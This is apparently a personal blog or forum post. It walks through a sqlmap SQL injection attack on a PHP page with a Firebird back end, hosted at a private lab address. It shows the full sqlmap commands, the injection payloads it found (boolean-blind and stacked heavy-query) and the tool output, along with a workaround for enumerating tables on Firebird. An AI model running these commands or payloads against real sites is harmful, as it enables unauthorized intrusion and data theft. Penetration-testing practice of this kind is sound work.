ignore switch -D on Firebird (SQLMAP)

hi there, i want to share my experience, 

i found an error on 192.168.56.102/index.php?page=beritaDetail&id=103, so i use sqlmap to retrive databases. i type on sqlmap

"./sqlmap.py -u "192.168.56.102/index.php?page=beritaDetail&id=103" -p id --level 3 --risk 3 --thread 8 --dbs" few minutes later, i have a problem, that my sqlmap can't retrieve the databases names.

this is the result :

"sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: id

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: page=beritaDetail&id=103' AND 6088=6088 AND 'lDMw'='lDMw

    Type: stacked queries

    Title: Firebird stacked queries (heavy query)

    Payload: page=beritaDetail&id=103'; SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3;--

---

[14:16:45] [INFO] the back-end DBMS is Firebird

web application technology: PHP 5.3.1, Apache 2.2.14

back-end DBMS: Firebird 2.0

[14:16:45] [WARNING] on Firebird it is not possible to enumerate databases

[14:16:45] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.56.102'

[*] shutting down at 14:16:45

"

i try to read sqlmap user's manual on http://sqlmap.sourceforge.net/doc/README.html sqlmap support to attack this database(firebird),and this is list databases :

Firebird: python-kinterbasdb.

Microsoft Access: python-pyodbc.

Microsoft SQL Server: python-pymssql.

MySQL: python-mysqldb.

Oracle: python cx_Oracle.

PostgreSQL: python-psycopg2.

SQLite: python-pysqlite2.

Sybase: python-pymssql.

but why my sqlmap can retrieve the databases names.

 So, i ask to my friend how to get a solution. and he answer that it's means that sqlmap won't be able to retrieve databases names as everything is going in a single one. and  i just have --tables and i must ignore  switch -D on firebird (also the same on SQLite and MsAccess).

so i try to ignore -D, likes this :
"./sqlmap.py -u "192.168.56.102/index.php?page=beritaDetail&id=103" -p id --level 3 --risk 3 --thread 8 --dbms Firebird --tables" and what i see, i can through this problem, this is the result 
"web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: Firebird 2.0
[14:33:30] [INFO] fetching tables for database: Firebird_masterdb
[14:33:30] [INFO] fetching number of tables for database 'Firebird_masterdb'"